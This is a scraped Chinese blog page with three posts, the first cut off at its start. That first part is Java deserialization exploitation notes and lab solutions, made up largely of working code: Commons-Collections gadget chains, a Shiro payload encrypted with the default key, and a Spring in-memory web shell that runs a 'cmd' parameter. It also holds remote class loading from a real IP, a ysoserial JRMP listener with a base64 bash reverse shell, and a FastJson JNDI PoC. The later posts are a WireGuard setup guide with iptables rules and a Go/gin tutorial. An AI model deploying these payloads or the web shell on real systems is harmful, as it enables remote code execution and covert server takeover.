CommonCollections1.setFieldValue(templatesImplObj, \u0026#34;_tfactory\u0026#34;, new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer(\u0026#34;getClass\u0026#34;, null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templatesImplObj); Map expMap = new HashMap(); expMap.put(tiedMapEntry,\u0026#34;value\u0026#34;); //outerMap.remove(\u0026#34;key\u0026#34;); outerMap.clear(); CommonCollections1.setFieldValue(transformer, \u0026#34;iMethodName\u0026#34;, \u0026#34;newTransformer\u0026#34;); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); objectOutputStream.close(); byte[] payloads = byteArrayOutputStream.toByteArray(); AesCipherService aes = new AesCipherService(); BASE64Decoder b64 = new BASE64Decoder(); byte[] key = b64.decodeBuffer(\u0026#34;kPH+bIxk5D2deZiIxcaaaA==\u0026#34;); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } } 加载字节码 类不用包，否则报找不到类\nURL[] urls = {new URL(\u0026#34;http://101.43.57.52:11012/\u0026#34;)}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass(\u0026#34;SqlI\u0026#34;); c.newInstance(); 5 javaDeserializeLabs Lab1 直接修改Calc类的属性然后序列化他再编码即可\n命令执行exec:\n1 bash -c {echo,base64encode}|{base64,-d}|{bash,-i} Lab2 cc6改一下注意writeInt和writeUTF的顺序\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package com.test; import com.yxxx.javasec.deserialize.Utils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; /** * @author L1ao * @version 1.0 */ public class Main { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026#34;getMethod\u0026#34;, new Class[] { String.class, Class[].class }, new Object[] { \u0026#34;getRuntime\u0026#34;, new Class[0] }), new InvokerTransformer(\u0026#34;invoke\u0026#34;, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\u0026#34;exec\u0026#34;, new Class[] { String.class }, new String[] {\u0026#34;calc.exe\u0026#34; }), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,\u0026#34;key\u0026#34;); Map expMap = new HashMap(); expMap.put(tiedMapEntry,\u0026#34;value\u0026#34;); outerMap.remove(\u0026#34;key\u0026#34;); Field f = ChainedTransformer.class.getDeclaredField(\u0026#34;iTransformers\u0026#34;); f.setAccessible(true); f.set(transformerChain,transformers); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF(\u0026#34;SJTU\u0026#34;); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(expMap); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); // Object o = (Object)ois.readObject(); } } Lab3 上一个payload报：java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;\n读安全漫谈的时候说会过滤Transformer的数组，用TiedMapEntry绕过即可\n报错：java.io.StreamCorruptedException: invalid type code: CA\n还是年轻\n具体什么原因呢？这里通过报错的堆栈来进行跟随即可，可以发现在反序列化TemplatesImpl出现了问题，调试发现在反序列化TemplatesImpl的时候，相关属性存在数组，所以同样会触发数组反序列化的问题，所以这里的话TemplatesImpl同样不可取了\nRMI二次反序列化绕过，解同lab4\nlab4 https://blog.csdn.net/mole_exp/article/details/123992395\n内存马 spring 2.* 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 package com.test; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner; /** * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境. * 因此比 SpringControllerMemShell.java 更加通用 * Springboot 1.x 和 3.x 版本未进行测试 */ public class SpringControllerMemShell2 extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public SpringControllerMemShell2() { try { System.out.println(\u0026#34;bbnn\u0026#34;); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(\u0026#34;org.springframework.web.servlet.DispatcherServlet.CONTEXT\u0026#34;, 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField(\u0026#34;config\u0026#34;); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = SpringControllerMemShell2.class.getMethod(\u0026#34;test\u0026#34;); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths(\u0026#34;/malicious\u0026#34;) .options(config) .build(); SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2(\u0026#34;aaa\u0026#34;); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } catch (Exception e) { } } public SpringControllerMemShell2(String aaa) { } public void test() throws IOException { System.out.println(\u0026#34;nnmm\u0026#34;); HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); try { String arg0 = request.getParameter(\u0026#34;cmd\u0026#34;); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = \u0026#34;\u0026#34;; ProcessBuilder p; if (System.getProperty(\u0026#34;os.name\u0026#34;).toLowerCase().contains(\u0026#34;win\u0026#34;)) { p = new ProcessBuilder(new String[]{\u0026#34;cmd.exe\u0026#34;, \u0026#34;/c\u0026#34;, arg0}); } else { p = new ProcessBuilder(new String[]{\u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter(\u0026#34;\\\\A\u0026#34;); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404); } } catch (Exception e) { } } } 反序列化\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.util.*; public class Lab4_RMIConnector_self { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } private static byte[] getClassBytes(Class\u0026lt;?\u0026gt; clazz) throws Exception { String className = clazz.getName().replace(\u0026#39;.\u0026#39;, \u0026#39;/\u0026#39;) + \u0026#34;.class\u0026#34;; URL classUrl = clazz.getClassLoader().getResource(className); try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) { byte[] buffer = new byte[4096]; int n; while ((n = in.read(buffer)) \u0026gt; 0) { out.write(buffer, 0, n); } byte[] classBytes = out.toByteArray(); return classBytes; } } public static String getObject() throws Exception { byte[] code = getClassBytes(SpringControllerMemShell2.class); TemplatesImpl templatesImplObj = new TemplatesImpl(); setFieldValue(templatesImplObj, \u0026#34;_bytecodes\u0026#34;, new byte[][] {code}); setFieldValue(templatesImplObj, \u0026#34;_name\u0026#34;, \u0026#34;Evil\u0026#34;); setFieldValue(templatesImplObj, \u0026#34;_tfactory\u0026#34;, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[] { new ConstantTransformer(templatesImplObj), new InvokerTransformer(\u0026#34;newTransformer\u0026#34;,null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); // Transformer[] transformers = new Transformer[]{ // new ConstantTransformer(Runtime.class), // new InvokerTransformer(\u0026#34;getMethod\u0026#34;,new Class[]{String.class,Class[].class},new Object[]{\u0026#34;getRuntime\u0026#34;,new Class[]{}}), // new InvokerTransformer(\u0026#34;invoke\u0026#34;,new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), // new InvokerTransformer(\u0026#34;exec\u0026#34;,new Class[]{String.class},new Object[]{\u0026#34;calc\u0026#34;}) // }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,\u0026#34;test1\u0026#34;); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove(\u0026#34;test1\u0026#34;); //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令 setFieldValue(chainedTransformer, \u0026#34;iTransformers\u0026#34;, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashSet); return Base64.getEncoder().encodeToString(barr.toByteArray()); } public static void main(String[] args) throws Exception { RMIConnector connector = new RMIConnector(new JMXServiceURL(\u0026#34;service:jmx:iiop://127.0.0.1:8000/stub/{$payload}\u0026#34;.replace(\u0026#34;{$payload}\u0026#34;, getObject())), null); InvokerTransformer invokerTransformer = new InvokerTransformer(\u0026#34;connect\u0026#34;, null, null); Map\u0026lt;Object,Object\u0026gt; lazyMap = LazyMap.decorate(new HashMap\u0026lt;\u0026gt;(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector); HashMap expMap = new HashMap(); expMap.put(tiedMapEntry, \u0026#34;test\u0026#34;); lazyMap.remove(connector); setFieldValue(lazyMap,\u0026#34;factory\u0026#34;, invokerTransformer); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF(\u0026#34;SJTU\u0026#34;); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(expMap); String s = bytesTohexString(byteArrayOutputStream.toByteArray()); System.out.println(s); } public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0; i \u0026lt; bytes.length; i++) { int b = 15 \u0026amp; (bytes[i] \u0026gt;\u0026gt; 4); ret.append(\u0026#34;0123456789abcdef\u0026#34;.charAt(b)); int b2 = 15 \u0026amp; bytes[i]; ret.append(\u0026#34;0123456789abcdef\u0026#34;.charAt(b2)); } return ret.toString(); } } lab5 利用MarshalledObject 的 readResolve 来二次反序列化绕过blacklist\nlab6 修复方式与cve的补丁极其相似，绕过即可\n参考：https://y4er.com/posts/weblogic-jrmp/\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.yxxx.javasec.deserialize; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.rmi.server.ObjID; import java.util.Random; /** * @author L1ao * @version 1.0 */ public class JRMPClient { public static void main(String[] args) throws Exception { ObjID id = new ObjID((new Random()).nextInt()); TCPEndpoint te = new TCPEndpoint(\u0026#34;ip\u0026#34;, 38080); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeUTF(\u0026#34;SJTU\u0026#34;); objectOutputStream.writeInt(1896); objectOutputStream.writeObject(ref); System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray())); } } java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections6 \u0026#34;bash -c {echo,base64encode}|{base64,-d}|{bash,-i}\u0026#34; lab7 javax.management.BadAttributeValueExpException\n不知道怎么绕\nlab8 5 FastJson com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl JSON.parseObject(payload, Feature.SupportNonPublicField); 需要开启 Feature.SupportNonPublicFiel JdbcRowSetImpl 利⽤链配合JDNI 注入 绕过补丁：L; LL;; [ MyBatis java.lang.Class 利⽤链，利⽤缓存 mappings java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://101.43.57.52:11012/#Exploit jdk高版本， System.setProperty(\u0026#34;com.sun.jndi.rmi.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); System.setProperty(\u0026#34;com.sun.jndi.ldap.object.trustURLCodebase\u0026#34;, \u0026#34;true\u0026#34;); String PoC = \u0026#34;{\\\u0026#34;@type\\\u0026#34;:\\\u0026#34;com.sun.rowset.JdbcRowSetImpl\\\u0026#34;,\\\u0026#34;dataSourceName\\\u0026#34;:\\\u0026#34;rmi://101.43.57.52:1099/Exploit\\\u0026#34;, \\\u0026#34;autoCommit\\\u0026#34;:true}\u0026#34;; JSON.parse(PoC); BadAttributeValueExpException JSONArray JSON:toString JSON:toJSONString getOutputProperties RCE JNDI ","date":"2023-04-13T00:00:00Z","permalink":"/2023/04/13/java-deserialization/","title":"Java 反序列化漫谈"},{"content":"WireGuard 使用记录 之前打强网杯线下赛，只穿了个socks代理以至于二进制的同学不能接入网络。于是便使用 iptables + wg-easy 来实现一个内网穿透\nOK，开始正题。现在需要支持在外面远程访问内网，可以实现类似内网访问的操作以支持二进制解题的网络需求\nWireGuard WireGuard是一种快速、现代的虚拟私人网络（VPN）协议。相对于其他VPN协议，WireGuard更加轻量级且易于配置和管理。它可以在多种操作系统上运行，包括Linux、Windows、macOS、iOS和Android。\nWireGuard协议采用了最新的加密技术，比如Curve25519椭圆曲线加密和ChaCha20加密算法。它的数据包头部非常小，只有80字节，这使得它在传输数据时的开销非常小，因此它在延迟和吞吐量上的表现非常出色。与其他VPN协议相比，WireGuard的连接速度更快、更可靠、更稳定，并且在重连时也能够自动恢复连接。\n总的来说，WireGuard是一种安全、高效、简单易用的VPN协议，因此它在当前的VPN市场上越来越受到青睐。\n以下是WireGuard的性能对比\nwg-easy 可以让我们在任何 Linux 主机上更加方便地安装和管理 WireGuard，项目地址：https://github.com/WeeJeWel/wg-easy\n优点：快速部署，配置文件的快速下发，方便管理，docker部署对云服务器不会产生影响\n网络拓扑图 话不多说，开始安装吧。网络拓扑大致如下。\n其中：\n1.1.1.1 为服务器的公网 IP 192.168.80.0/24 为内网的 IP 段 10.0.0.0/24 为 WireGuard 的 VPN 内网网段 100.100.1.0/24 为内网其他网段的 IP 段 最终实现的效果是，互联网上的其他主机通过连接 1.1.1.1 上的 VPN 服务，接入内网机子网段。\n即：个人PC可以访问到100.100.1.2，192.168.80.130等等\n安装 WireGuard 需要在 个人PC 和 内网机子（此处IP为 10.0.0.2） 上安装，其他不需要安装WireGuard\nhttps://www.wireguard.com/install/\nWireGuard 不区分服务端与客户端，安装也比较简单，不出意外的话可以一行命令直接安装。\n部署 wg-easy 原本的wg-easy的流量出口为云服务器，我对其进行了一定的魔改使得流量出口（指定IP段的流量）为内网机子\n1 git clone https://github.com/L1aovo/my-wg-easy.git 修改 docker-compose.dev.yml 补全 environment 部分\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 version: \u0026#34;3.8\u0026#34; services: wg-easy: image: weejewel/wg-easy command: sh -c \u0026#34;cd /;npm install basic-auth;cd /app;npm run serve\u0026#34; volumes: - ./src/:/app/ - ./conf:/etc/wireguard ports: - \u0026#34;51820:51820/udp\u0026#34; - \u0026#34;51821:51821/tcp\u0026#34; environment: # WG_LOCAL_NAME为流量代理配置名，请先创建WG_LOCAL_NAME配置 # - PASSWORD=p - WG_HOST= - PASSWORD= - WG_ALLOWED_IPS=192.168.80.0/24, 10.0.0.0/24, 100.100.1.0/24 # 挂载网段 - WG_DEFAULT_ADDRESS=10.0.0.x # wg的虚拟网段 - WG_DEFAULT_DNS=8.8.8.8 # wg的DNS - WG_LOCAL_PASS=192.168.80.132 # 此处ip为本地网卡ip,流量出口 - WG_PERSISTENT_KEEPALIVE=25 - WG_LOCAL_NAME=l1aotest cap_add: - NET_ADMIN - SYS_MODULE sysctls: - net.ipv4.ip_forward=1 - net.ipv4.conf.all.src_valid_mark=1 1 docker-compose -f docker-compose.dev.yml up # 启动服务 web端下发配置，首先创建一个 WG_LOCAL_NAME 配置，并下载到内网机子上（web端验证为 rois:l1ao，wg-easy登陆为PASSWORD你设置的） 在内网机子上打开IP转发：编辑 /etc/sysctl.conf， 将 net.ipv4.ip_forward = 0 中的 0 改为 1。然后 sysctl -p 使其生效。 内网机子必须是linux主机，windows做转发会有很多bug，执行命令sudo wg-quick up 配置文件的绝对路径 测试 ping 云服务器 10.0.0.1 不成功的话重启 云服务器的wireguard服务 再重启内网机子的 wireguard，测试ping，能ping通则可以进行内网转发了 web端下发配置，创建个人PC的配置，并下载到个人PC上，启动vpn 访问内网服务 示例配置 10.0.0.1云服务器的配置 # Note: Do not edit this file directly. # Your changes will be overwritten! # Server [Interface] PrivateKey = Address = 10.0.0.1/24 ListenPort = 51820 PreUp = Postup = iptables -A INPUT -p tcp -m tcp --dport 51821 -j ACCEPT; PostUp = iptables -A INPUT -p udp -m udp --dport 51820 -j ACCEPT; iptables -A FORWARD -i wg0 -j ACCEPT; iptables -A FORWARD -o wg0 -j ACCEPT; PostUp = iptables -I FORWARD -s 10.0.0.0/24 -i wg0 -d 10.0.0.0/24 -j ACCEPT PostUp = iptables -I FORWARD -s 10.0.0.0/24 -i wg0 -d 0.0.0.0/0 -j ACCEPT PostUp = iptables -I FORWARD -s 0.0.0.0/0 -i wg0 -d 10.0.0.0/24 -j ACCEPT PreDown = Postup = iptables -D INPUT -p tcp -m tcp --dport 51821 -j ACCEPT; PostDown = iptables -D INPUT -p udp -m udp --dport 51820 -j ACCEPT; iptables -D FORWARD -i wg0 -j ACCEPT; iptables -D FORWARD -o wg0 -j ACCEPT; PostDown = iptables -D FORWARD -s 10.0.0.0/24 -i wg0 -d 10.0.0.0/24 -j ACCEPT PostDown = iptables -D FORWARD -s 10.0.0.0/24 -i wg0 -d 0.0.0.0/0 -j ACCEPT PostDown = iptables -D FORWARD -s 0.0.0.0/0 -i wg0 -d 10.0.0.0/24 -j ACCEPT # Client: l1aotest (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) [Peer] PublicKey = PresharedKey = AllowedIPs = 10.0.0.2/32, 192.168.80.0/24, 10.0.0.0/24, 100.100.1.0/24 # Client: l1ao\u0026#39;s iphone (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx) [Peer] PublicKey = PresharedKey = AllowedIPs = 10.0.0.3/32 10.0.0.2内网机子的配置 [Interface] PrivateKey = Address = 10.0.0.2/24 PostUp = iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -j SNAT --to-source 192.168.80.132 PostDown = iptables -t nat -D POSTROUTING -s 10.0.0.0/24 -j SNAT --to-source 192.168.80.132 DNS = 8.8.8.8 [Peer] PublicKey = PresharedKey = AllowedIPs = 10.0.0.0/24 PersistentKeepalive = 25 Endpoint = WG_HOST:51820 个人PC的配置 [Interface] PrivateKey = Address = 10.0.0.3/24 DNS = 8.8.8.8 [Peer] PublicKey = PresharedKey = AllowedIPs = 192.168.80.0/24, 10.0.0.0/24, 100.100.1.0/24 PersistentKeepalive = 25 Endpoint = WG_HOST:51820 参考 https://devld.me/2020/07/27/wireguard-setup/ https://github.com/WeeJeWel/wg-easy ","date":"2023-03-13T21:29:44Z","permalink":"/2023/03/13/wireguard/","title":"WireGuard 使用记录"},{"content":"Go 开发极简 CTF 平台 写在前面：感觉自己还是少了些开发经验，于是，，我就浅浅开发一下吧，一个极简的CTF平台，代码存在：\n用到的技术栈：\n前端：Vue 后端：go （gin，gorm） 数据库：Sqlite3 （轻量） 中间件：Nginx（反代 –\u0026gt; 前后端分离） 效果 Waiting to be perfected\nDay 1 web 本质 一个请求对应一个响应\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;net/http\u0026#34; ) func sayHello(w http.ResponseWriter, r *http.Request) { b, _ := ioutil.ReadFile(\u0026#34;./hello.txt\u0026#34;) _, _ = fmt.Fprintln(w, string(b)) } func main() { http.HandleFunc(\u0026#34;/hello\u0026#34;, sayHello) err := http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) if err != nil { fmt.Printf(\u0026#34;http server failed, err:%v\\n\u0026#34;, err) return } } 1 2 3 4 5 6 7 8 9 // hello.txt \u0026lt;h1\u0026gt;hello world!!\u0026lt;h1\u0026gt; \u0026lt;img id=\u0026#34;i1\u0026#34; src=\u0026#34;https://encrypted-tbn2.gstatic.com/shopping?q=tbn:ANd9GcTF0iWg71eBffc0Yl28bh_5dqPPxjMZVjhZFl_tvhFoDP54SyOx7NL-3zf7Nxoc87b-8XYk5psTdyXxBAF8nWWfyqz2qqMuf2ABK_Ol3BiObaeyMPkbMpJd1g\u0026amp;usqp=CAE\u0026#34;\u0026gt; \u0026lt;button id=\u0026#34;b1\u0026#34;\u0026gt;click me\u0026lt;/button\u0026gt; \u0026lt;script\u0026gt; document.getElementById(\u0026#34;b1\u0026#34;).onclick = function(){ document.getElementById(\u0026#34;i1\u0026#34;).src = \u0026#34;https://cdn.shopify.com/s/files/1/0683/0194/7201/products/20220712_249_900x.jpg?v=1675412285\u0026#34;; } \u0026lt;/script\u0026gt; gin框架初识 下载并安装\n1 go get -u github.com/gin-gonic/gin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package main import ( \u0026#34;github.com/gin-gonic/gin\u0026#34; ) func sayHello(c *gin.Context) { c.JSON(200, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;hello goland\u0026#34;, }) } func main() { r := gin.Default() //返回默认路由引擎 r.GET(\u0026#34;/hello\u0026#34;, sayHello) // RESTful API风格 r.GET(\u0026#34;/book\u0026#34;, func(c *gin.Context) { c.JSON(200, gin.H{ \u0026#34;method\u0026#34;: \u0026#34;GET\u0026#34;, }) }) r.POST(\u0026#34;/book\u0026#34;, func(c *gin.Context) { c.JSON(200, gin.H{ \u0026#34;method\u0026#34;: \u0026#34;POST\u0026#34;, }) }) r.PUT(\u0026#34;/book\u0026#34;, func(c *gin.Context) { c.JSON(200, gin.H{ \u0026#34;method\u0026#34;: \u0026#34;PUT\u0026#34;, }) }) r.DELETE(\u0026#34;/book\u0026#34;, func(c *gin.Context) { c.JSON(200, gin.H{ \u0026#34;method\u0026#34;: \u0026#34;DELETE\u0026#34;, }) }) r.Run(\u0026#34;:9090\u0026#34;) } HTML渲染 template 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;html/template\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { // 解析模板 t, err := template.ParseFiles(\u0026#34;./hello.tmpl\u0026#34;) if err != nil { fmt.Println(\u0026#34;Failed: %v\u0026#34;, err) return } err = t.Execute(w, \u0026#34;L1ao\u0026#34;) if err != nil { fmt.Println(\u0026#34;Failed: %v\u0026#34;, err) return } }) err := http.ListenAndServe(\u0026#34;:9090\u0026#34;, nil) if err != nil { fmt.Println(\u0026#34;Failed: %v\u0026#34;, err) return } } 模板语法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;html/template\u0026#34; \u0026#34;net/http\u0026#34; ) func f1(w http.ResponseWriter, r *http.Request) { // 定义一个函数kua k := func(name string) (string, error) { return name + \u0026#34; is real cool\u0026#34;, nil } // 解析模板 t := template.New(\u0026#34;f.tmpl\u0026#34;) // 添加自定义函数 t.Funcs(template.FuncMap{ \u0026#34;kua\u0026#34;: k, }) _, err := t.ParseFiles(\u0026#34;./f.tmpl\u0026#34;) if err != nil { fmt.Println(\u0026#34;parse template failed, err:%v\\n\u0026#34;, err) return } name := \u0026#34;L1ao\u0026#34; t.Execute(w, name) } func demo1(w http.ResponseWriter, r *http.Request) { t, err := template.ParseFiles(\u0026#34;./t.tmpl\u0026#34;, \u0026#34;./ul.tmpl\u0026#34;) if err != nil { fmt.Println(\u0026#34;parse template failed, err:%v\\n\u0026#34;, err) return } // 渲染模板 name := \u0026#34;L1ao\u0026#34; t.Execute(w, name) } func main() { http.HandleFunc(\u0026#34;/\u0026#34;, f1) http.HandleFunc(\u0026#34;/template\u0026#34;, demo1) err := http.ListenAndServe(\u0026#34;:9090\u0026#34;, nil) if err != nil { fmt.Println(\u0026#34;Failed: %v\u0026#34;, err) return } } f.tmpl\n1 2 3 4 5 6 7 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;aaa\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; {{ kua . }} \u0026lt;/body\u0026gt; t.tmpl\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;测试嵌套template语法\u0026lt;/h1\u0026gt; {{template \u0026#34;ul.tmpl\u0026#34;}} {{template \u0026#34;ol.tmpl\u0026#34;}} \u0026lt;p\u0026gt;你好，{{ . }}\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; {{ define \u0026#34;ol.tmpl\u0026#34;}} \u0026lt;ol\u0026gt; \u0026lt;li\u0026gt;eat\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;sleep\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;beat douDou\u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; {{ end }} ul.tmpl\n1 2 3 4 5 \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;eat\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;sleep\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;beat douDou7897897897897\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; 模板继承 省去写重复内容\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 